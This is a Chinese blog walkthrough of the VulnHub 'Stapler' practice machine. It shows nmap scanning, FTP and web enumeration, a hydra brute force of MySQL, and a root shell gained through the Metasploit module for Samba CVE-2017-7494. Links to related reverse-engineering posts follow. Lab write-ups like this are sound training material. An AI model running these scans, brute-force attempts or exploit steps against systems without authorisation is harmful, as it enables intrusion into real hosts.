实战打靶集锦-006-Stapler

article/2025/9/19 0:03:06

**写在前面:**记录博主的一次打靶经历。

目录

  • 1. 主机发现
  • 2. 端口发现
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 FTP探查
      • 4.1.1 匿名登录
      • 4.1.2 Elly用户
      • 4.1.3 John用户
      • 4.1.4 EXP搜索
    • 4.2 dnsmasq探查
      • 4.2.1 基础信息获取
      • 4.2.2 EXP搜索
    • 4.3 WEB应用探查
      • 4.3.1 浏览器访问
      • 4.3.2 目录扫描
        • 4.3.2.1 dirsearch扫描
        • 4.3.2.2 dirb 扫描
      • 4.3.3 EXP搜索
    • 4.4 MySQL探查
      • 4.4.1 命令行访问
      • 4.4.2 爆破mysql
    • 4.5 Apache探查
      • 4.5.1 浏览器访问
      • 4.5.2 目录枚举
        • 4.5.2.1 dirsearch扫描
        • 4.5.2.2 dirb 扫描
      • 4.5.3 EXP搜索
    • 4.6 Samba探查
      • 4.6.1 EXP搜索
      • 4.6.2 EXP利用
  • 5. 获取flag


1. 主机发现

目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述
锁定靶机IP地址为56.109。

2. 端口发现

通过下面的命令,对靶机进行一下全端口扫描。

$ sudo nmap -p- 192.168.56.109

在这里插入图片描述
额,这个靶机上开放的端口比较多,可以说是琳琅满目了,FTP、WEB、数据库,等等。

3. 服务枚举

通过下面的命令,对端口上的服务进行枚举。

$ sudo nmap -p20,21,22,53,80,123,137,138,139,666,3306,12380 -A -sV -sT 192.168.56.109

在这里插入图片描述
内容还是挺多的,将来我们可能要搜索的公共EXP也会比较多,先逐个探查一下服务。

4. 服务探查

4.1 FTP探查

4.1.1 匿名登录

直接命令行登录。
在这里插入图片描述
anonymous登录直接进去了,接下来看看里面有些啥。
在这里插入图片描述
貌似只有一个note文件,下载下来看看里面都有些啥。
在这里插入图片描述
这个note挺有意思的,貌似是John给Elly的留言,并且Elly的FTP账户下面很有可能有“payload information”。先记下这些,接着到其它目录看看。
在这里插入图片描述
好奇怪,提示切换目录成功了,但是列出来的文件还是note,并且修改日期、大小、权限等等都跟之前是一样的。不管了,作为note2下载下来看看内容再说。
在这里插入图片描述
确认是同一个文件,这说明目录没有切换成功。从目前的来看,基本上anonymous用户可以看到的内容就是唯一的一个note文件。既然note中提到了Elly和John两个用户,尝试分别用这两个用户登录FTP和SSH试试看。

4.1.2 Elly用户

首先用elly用户登录FTP,并且简单试用一下弱密码elly、123、elly123。
在这里插入图片描述
均以失败告终,也可能是elly用户确实不存在。再用这个用户尝试SSH登录试试看。
在这里插入图片描述
同样均以失败告终,后面如果需要的话,回过头来尝试爆破一下。

4.1.3 John用户

在用john用户登录FTP和SSH的时候同样是失败的。
不过这里想更进步一点点,FTP登录的时候会提示Harry,SSH登录的时候会提示Barry,这也有可能是两个用户名,分别用相同的方式试一下,也失败了。后面有空的时候爆破一下。

4.1.4 EXP搜索

$ searchsploit  vsftpd

在这里插入图片描述
从搜索结果来看,还是有EXP可以利用的,先看一下代码再说。
在这里插入图片描述
从代码来看,需要用户名和密码,这一点显然目前是不具备的,但是我们可以使用anonymous用户和空密码试一下。
接下来,修改一下host为目标靶机IP地址,用户名修改为anonymous,密码置空。
在这里插入图片描述
然后通过python3运行一下。
在这里插入图片描述
尽管已经提供了相关的参数,但是无论怎么调测都报这个错误,有些奇怪,实在不行的时候再回来啃这个硬骨头。

4.2 dnsmasq探查

4.2.1 基础信息获取

见识有些少,先看看dnsmasq是个啥再说,度娘给的结果还算明确。
在这里插入图片描述

4.2.2 EXP搜索

虽然知道了dnsmasq是个啥,但是还不知道怎么使用,这个上手可能也会浪费一些时间,接下来简单做一下公共EXP搜索。
在这里插入图片描述
虽然不知道怎么用,但是看上去貌似可以利用的漏洞不少。

4.3 WEB应用探查

4.3.1 浏览器访问

在这里插入图片描述
嗯,80端口是开着的,但是貌似页面找不到。

4.3.2 目录扫描

既然端口开着,那就进行一下目录扫描吧,看看能够扫描出些什么内容。

4.3.2.1 dirsearch扫描

通过下面的命令,采用dirsearch扫描一下。

$ dirsearch -u http://192.168.56.109

在这里插入图片描述

4.3.2.2 dirb 扫描

鉴于上次的经验教训,这里通过dirb挂上字典扫描一下。

$ dirb http://192.168.56.109 /usr/share/wordlists/dirb/big.txt
$ dirb http://192.168.56.109 /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
貌似确实没有扫出更多的内容。先查看一下这几个扫出来的内容吧。先看看.bash_logout。
在这里插入图片描述
没啥干货,再看看.bashrc和.profile,都没啥干货。

4.3.3 EXP搜索

搜索一下对应版本的WEB应用服务器版本。
在这里插入图片描述
无论怎么优化关键字,搜索结果都不太合适。反正我也不知道这个PHP的cli server是啥,先google一下吧。
在这里插入图片描述
大概意思是,CLI是PHP的一个内置web server,这样在开发代码的时候,就不需要部署庞大的Apache或者Nginx等web服务器了。并且进一步查出了从PHP的5.4.0版本之后,都内置了CLI Server。
在这里插入图片描述
感觉这个CLI Server也只能本机访问,无法在网络上使用,暂时放弃吧。

4.4 MySQL探查

4.4.1 命令行访问

既然3306端口是开放的,那就从命令行访问一下,或者爆破一下试试看。
在这里插入图片描述
看来还是有些问题,直接用hydra爆破一下试试看。

4.4.2 爆破mysql

通过下面的命令,挂在rockyou字典爆破一下mysql的root用户。

$ hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.109 mysql

在这里插入图片描述
需要等待的时间比较长,等待大半个小时没有结果就停止它吧(最后确实放弃了,没有爆破出来)。

4.5 Apache探查

在服务枚举阶段,我们还枚举出了12380端口上运行的Apache httpd。我们在这里探查一下。

4.5.1 浏览器访问

先直接通过浏览器访问一下这个端口(分别用http和https)看看。
在这里插入图片描述
是http,就是一个人畜无害的普通静态页面啊,除了右下角的两个超链接,也没有其它关键信息。点击一下两个超链接试试看。
第一个Creative Tim连接到一个外部站点,如下。
在这里插入图片描述
先放到一边,说不定后面构建攻击字典的时候可以用上。再来看看那个Download的链接。
在这里插入图片描述
也是连接到了外部站点,对于外部站点,暂时不做分析,后面用到了再说。

4.5.2 目录枚举

既然到了这里,那就对12380端口也进行一下目录枚举吧。

4.5.2.1 dirsearch扫描

通过下面的命令,采用dirsearch扫描一下。

$ dirsearch -u http://192.168.56.109:12380

在这里插入图片描述
有些意外啊,竟然是空的,没法解释啊,看看上面提到的txt文件和log看看。
在这里插入图片描述
确实没有这个txt文件,接下来看看log有没有。
在这里插入图片描述
也是空的,太令人失望了,白等了半天。

4.5.2.2 dirb 扫描

通过dirb挂上字典扫描一下。

$ dirb http://192.168.56.109:12380 /usr/share/wordlists/dirb/big.txt

在这里插入图片描述
还是一无所获,暂时放弃这条线。

4.5.3 EXP搜索

搜索一下有没有适用于Apache 2.4.18的公共EXP。
在这里插入图片描述
貌似有一个提权漏洞和一个内存泄露的漏洞适用于靶机版本,这个漏洞利用会比较复杂,暂时放一边。

4.6 Samba探查

最后,探查一下Samba服务,之所以放在最后是因为这一块根本不了解,靶机上的版本是4.3.9版本。先连接一下试试看。
在这里插入图片描述
尝试发送消息试试看。
在这里插入图片描述
还是失败。

4.6.1 EXP搜索

现在本人对于139端口的理解,就是一张白纸,直接搜索一下看看有没有可用的公共EXP吧。
在这里插入图片描述
搜索下来,貌似就只有42084这一个EXP符合我们靶机的版本要求,貌似是一个任意模块加载的漏洞,先快速浏览一下代码再说。
在这里插入图片描述
ruby代码,除了注释,其它基本都看不懂,并且还需要Metasploit,针对的漏洞编号是CVE-2017-7494。

4.6.2 EXP利用

既然看不懂ruby的EXP代码,直接百度一下这个CVE-2017-7494的漏洞吧。
从网上搜索了一下,基本原理是这样的:Samba允许连接一个远程的命名管道,并且在连接建立之前会调用is_known_pipename()函数验证管道名称是否合法;但是在is_known_pipename()函数中,并没有对管道名称的规范性进行检查,这将会导致管道名称中可以包含特殊字符,攻击者可以构造使用包含特殊字符管道名称的恶意动态链接库文件并使用is_known_pipename()函数加载,用于执行任意代码。并且这个漏洞貌似可以直接在Metasploit里面利用,那就试试看吧。
说明:这里重点参照了网络大神的帖子(https://blog.csdn.net/dgjkkhcf/article/details/125902865)。
首先启动Metasploit控制台。

$ msfconsole

在这里插入图片描述
接下来,通过use命令使用is_known_pipename攻击模块。

msf6 > use exploit/linux/samba/is_known_pipename

在这里插入图片描述
通过set命令设置一下主机地址和端口参数,并通过show命令查看是否设置成功。

msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.168.56.109
msf6 exploit(linux/samba/is_known_pipename) > set RPORT 139
msf6 exploit(linux/samba/is_known_pipename) > show options

在这里插入图片描述
配置完成后,直接通过run命令运行一下漏洞利用模块。

msf6 exploit(linux/samba/is_known_pipename) > run

在这里插入图片描述
这是第一次用Metasploit,从上图中最后两行的输出来看,貌似是直接发现了shell并自动创建了反弹shell,直接试试看吧。
在这里插入图片描述
我靠,这也太神奇了,怪不得OSCP不让用Metasploit啊,还没弄明白具体的漏洞是咋回事就攻进去了,并且是突破边界+提权一条龙服务,直接获得了root权限。

5. 获取flag

在这里插入图片描述


http://chatgpt.dhexx.cn/article/mfMI0uQu.shtml

相关文章

Stapler: 1

Stapler: 1 项目地址:https://www.vulnhub.com/entry/stapler-1,150/ 文章目录 Stapler: 1一、信息收集:1. 靶机地址获取:2. 收集端口服务信息: 二、信息利用1. 针对12380端口进行web目录枚举:1.1 访问:ph…

No.10-VulnHub-Stapler: 1-Walkthrough渗透学习

** VulnHub-Stapler: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/stapler-1,150/ 靶机难度:中级(CTF) 靶机发布日期:2016年6月8日 靶机描述:Stapler is reported to be one of several v…

Stapler:1 靶机渗透测试-Vulnhub(STAPLER: 1)

Stapler:1(STAPLER: 1)靶机渗透-Vulnhub 一、IP端口探测二、端口信息收集1.ftp匿名登录2.OpenSSH漏洞查询3.80端口4.666端口5.SMB枚举6.12380端口 二、边界突破1.video插件文件包含2.修改wordpress数据库管理员密码3.上传webshell 三、提权总…

Stapler#攻略

写在前面:前人栽树后人乘凉,谢谢网上各位大佬的解题思路作为参考学习; 一、实验准备 1、实验地址: Stapler: 1 ~ VulnHub 2、下载之后,本地解压,用VMware运行该虚拟机; ​ 3、设置stapler与攻击…

Stapler-1靶场详细教学(7种漏洞利用+5种提权)

目录 前言 简介 信息收集 0x00 主机发现 0x01 端口探测 0x02 信息收集-1 0x03 信息收集-2 0x04 漏洞利用-1 0x05 信息收集-3 0x06 漏洞利用-2 0x07 漏洞利用-3 0x08漏洞利用-4 0x09 漏洞利用-5 0x10 漏洞利用-6 0x11 漏洞利用-7 提权 0x12 提权-1-内核提权 0…

CSDN开通博客

今天想写博客,却发现没有开通博客页面没有发现验证码, 后来点击验证码输入框,验证码才出来。真是失策,我觉得还是在刷新页面的时候就显示验证码就好了。

【JavaScript 逆向】数美滑块逆向分析

声明 本文章中所有内容仅供学习交流,相关链接做了脱敏处理,若有侵权,请联系我立即删除! 案例目标 验证码:aHR0cHM6Ly93d3cuaXNodW1laS5jb20vbmV3L3Byb2R1Y3QvdHcvY29kZQ 以上均做了脱敏处理,Base64 编码及解…

个人总结 - JS逆向解析

目前加密的方式总结有下面几点: 对称加密(加密解密密钥相同):DES、DES3、AES 非对称加密(分公钥私钥):RSA 信息摘要算法/签名算法:MD5、HMAC、SHA 前端实际使用中MD5、AES、RSA&a…

【JavaScript 逆向】抖店滑块逆向分析

声明 本文章中所有内容仅供学习交流,相关链接做了脱敏处理,若有侵权,请联系我立即删除! 案例目标 接口: aHR0cHM6Ly93d3cuZG91eWluLmNvbS9hd2VtZS92MS93ZWIvdXNlci9wcm9maWxlL290aGVyLw 以上均做了脱敏处理&#…

MAC 逆向APK

准备逆向工具 apkTool 、apkTool.jar 、dex2Jar稳定版 (不要下载最新的2.0或者2.1 最新的dex2jar 运行会报错)、JUI 查看代码结构 (1) apkTool 、apkTool.jar:Apktool - How to Install 上面这段话是&#xff1…

java逆向_Java逆向入门(一)

Java是一门"半编译半解释"型语言.通过使用jdk提供的javac编译器可以将Java源码编译为Java虚拟机(Java Virtual Machine, JVM)可读的字节码(bytecode),即*.class文件. 学习字节码可以使你更好的理解Java虚拟机的行为,甚至对学习其它基于Java虚拟机的语言(如:Scala,Clo…

Android逆向基础——APK的格式

Android 安装包常以apk(android Package)、xapk为后缀,本质是一个压缩包,包内存存放运行着应用程序安装必要的所有资源、代码。可直接修改后缀为zip解包。 解包后目录大致如下: assets 资源文件,通过cont…

JS逆向笔记-记录某测试论坛的js逆向练习

这个网站应该是专门练习的,因为有个地方说不太通,在此只能算是练习,记录下,方便以后进行查阅。 首先访问主页: 他会设置一个cookie值,并且会把加密的salt 带出来。还有个叫lt的东西也会用html的形式传出来。…

Matlab逆向归纳法,逆向归纳法

逆向归纳法(backward induction)是求解动态博弈均衡的方法 [编辑] 什么是逆向归纳法 逆向归纳法(backward induction)是求解动态博弈均衡的方法。所谓动态博弈是指博弈参与人的行动存在着先后次序,并且后行动的参与人能够观察到前面的行动。逆向归纳法在逻辑上是严密…

逆向工程

逆向工程 数据库部分逆向工程说明导入文件 reverseProject添加相应jar包修改这个工程三个 .xml 文件都要修改的地方修改generatorConfig.xml文件 工程终点-运行GeneratorSqlMap.java文件 在使用mybatis时需要根据数据表创建实体类,pojo类的映射文件以及sql语句和Dao…

逆向 实战

逆向实操 汇编 《汇编语言》,王爽 《天书夜读》邵坚磊等 《Intel汇编指令集手册》 基础 学习汇编的原则 不推荐写纯汇编程序,一般都是通过_asm{}方式嵌入部分汇编代码学习汇编的目的是:解底层,调试,逆向分.c-编译->.s-汇编→.o(linux平台)/.obj(wi…

微信逆向分析(一)——逆向分析的原理

逆向的简单理解 正向开发,是先写代码,再编译成软件。而逆向分析,到手的只有软件。从软件入手,推测对应的代码,需要了解一下编译之后的软件是怎么跑起来的。 软件运行过程 1、软件加载到内存。 2、CPU读取内存的指令…

【JavaScript 逆向】网易易盾滑块逆向分析

声明 本文章中所有内容仅供学习交流,相关链接做了脱敏处理,若有侵权,请联系我立即删除! 案例目标 验证码:aHR0cHM6Ly9kdW4uMTYzLmNvbS90cmlhbC9qaWdzYXc 以上均做了脱敏处理,Base64 编码及解码方式&#xf…

【JavaScript 逆向】今日头条 jsvmp,_signature 参数分析

前言 现在一些网站对 JavaScript 代码采取了一定的保护措施,比如变量名混淆、执行逻辑混淆、反调试、核心逻辑加密等,有的还对数据接口进行了加密,这次案例是通过补环境过 jsvmp。 声明 本文章中所有内容仅供学习交流,相关链接…

【JavaScript 逆向】拼多多 anti_content 参数逆向解析

前言 现在一些网站对 JavaScript 代码采取了一定的保护措施,比如变量名混淆、执行逻辑混淆、反调试、核心逻辑加密等,有的还对数据接口进行了加密,这次案例是通过补环境过加密。 声明 本文章中所有内容仅供学习交流,相关链接做…